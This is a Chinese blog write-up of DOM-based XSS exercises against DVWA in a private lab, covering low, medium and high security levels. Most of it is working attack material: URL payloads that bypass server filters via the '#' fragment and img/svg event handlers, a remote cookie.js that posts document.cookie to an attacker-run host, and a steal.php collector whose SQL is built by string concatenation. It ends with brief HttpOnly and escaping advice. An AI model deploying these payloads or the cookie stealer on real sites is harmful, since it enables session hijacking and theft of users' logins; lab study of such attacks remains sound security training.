C1imber's Blog

dvwa XSS(DOM)

字数统计: 2.2k阅读时长: 10 min
2017/12/21 Share

dvwa DOM型XSS

在介绍dom xss之前 ,首先需要明白一个非常重要的地方:反射型xss和存储型xss指的是用户输入的js恶意代码经过服务器响应后直接输出,或者存储到了服务器后直接输出,然后通过浏览器js解析引擎解析后直接执行触发,而dom型xss指的是用户输入的js恶意代码经过服务器响应后并不会直接被浏览器js解析解析触发,而是经过一些javascript dom渲染后,构造完dom树后,浏览器解析时,才会被js的解析引擎解析执行,本质上的区别:dom xss需要页面经过dom渲染,构造完dom树时才被解析触发,但是反射型是直接被浏览器的js解析引擎解析触发,这也正是为什么我们查看页面源代码和使用firebug查看元素时看到的内容不一样的原因,一个是没有经过dom渲染,一个是经过dom渲染过后的,这也是在xss漏洞挖掘时,判断输入点和输出点很重要的一个细节

dom xss

xss主要分为三种,前面通过了dvwa分别研究了反射型和存储型两种xss,这次写篇有关dom xss的文章,dvwa这里的dom xss和前面的两种xss的区别主要是:这里dom xss的产生并没有和后台服务器产生交互,而是通过浏览器的dom树解析产生的

下面来学习一下这种xss

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口
一台win7虚拟机,ip为192.168.50.156,用来接受漏洞网站的cookie,web由phpstudy搭建

low级别

服务器端没有任何php代码,查看前端页面源代码,处理用户输入的只有前端的js代码:

<script>
    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>

我们从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点
构造payload:http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E,弹框证明有xss的存在,浏览器在解析html dom树时就会触发js弹框代码
mark
接下来利用dom xss获取网站的cookie,构造连接
http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E
用script标签加载远程服务器上我们编写的获取网站用户cookie的js代码,和之前的一样利用ajax
mark

var url = "http://192.168.50.156/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.50.156/dvwaxss/steal.php,也就是当前目录下的steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php将我们获取到的cookie存到数据库中
可以看到数据库已经接收到了网站用户的cookie
mark
mark
同样的还可以使用juery ajax,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

代码如下

$(document).ready(function(){
$.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie});
}
);

mark
mark
同样接收到了cookie
mark

medium级别

前端代码如下,和low级别的一样

<script>
    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>

但是后端代码对url的default参数的值做了限制

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过
这里的绕过有两种方式
方式1
url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E

可以看出成功绕过
mark
方法2
或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(%22xss%22)%3E

注意这里要闭合option以及select标签,这样做会破坏页面结构,隐蔽性不如第一种方法,同样的标签还有svg等,比如

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20onload=alert("xss")%3E

svg的onload事件同样可以在页面加载时执行js代码,产生弹框的效果,同样的标签还有好多
下面我们用这些方法加载远程js脚本获取网站用户的cookie(发送cookie的代码用juery)

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/#?default=%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

img标签onerror事件加载

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=%22var%20b=%20document.createElement(%27script%27);%20b.setAttribute(%27src%27,%27http://192.168.50.156/dvwaxss/cookie.js%27);document.getElementsByTagName(%27head%27)[0].appendChild(b);%22%3E

onerror事件后执行js代码,通过js的dom操作创建script标签加载远程脚本,下面是onerror事件后执行的js代码,和上一节的一样
mark

var b= document.createElement('script'); 
b.setAttribute('src','http://192.168.50.156/dvwaxss/cookie.js');
document.getElementsByTagName('head')[0].appendChild(b);

远程获取cookie脚本

var url = "http://192.168.50.156/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

mark
同样svg标签的onload也可以,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20onload=%22var%20b=%20document.createElement(%27script%27);%20b.setAttribute(%27src%27,%27http://192.168.50.156/dvwaxss/cookie.js%27);document.getElementsByTagName(%27head%27)[0].appendChild(b);%22%3E

mark

以上方法均可以绕过medium加载远程脚本获取网站用户cookie

###high级别###

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,构造payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

mark
加载远程脚本

$(document).ready(function(){
$.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie});
}
);

获取high级别的网站用户cookie
mark

总结

通过对dvwa三种类型xss的学习,可以看出预防xss的方法不光要做到过滤一切用户有害输入,转义可能引起跨站漏洞的标签,最重要的是重http层做到防护,给cookie设置httponly属性,使cookie不能被javascript读取,才能有效防止用户cookie被盗用的问题

CATALOG
  1. 1. dvwa DOM型XSS
    1. 1.0.1.
    2. 1.0.2. dom xss
    3. 1.0.3. 测试环境
    4. 1.0.4. low级别
    5. 1.0.5. medium级别
    6. 1.0.6. 总结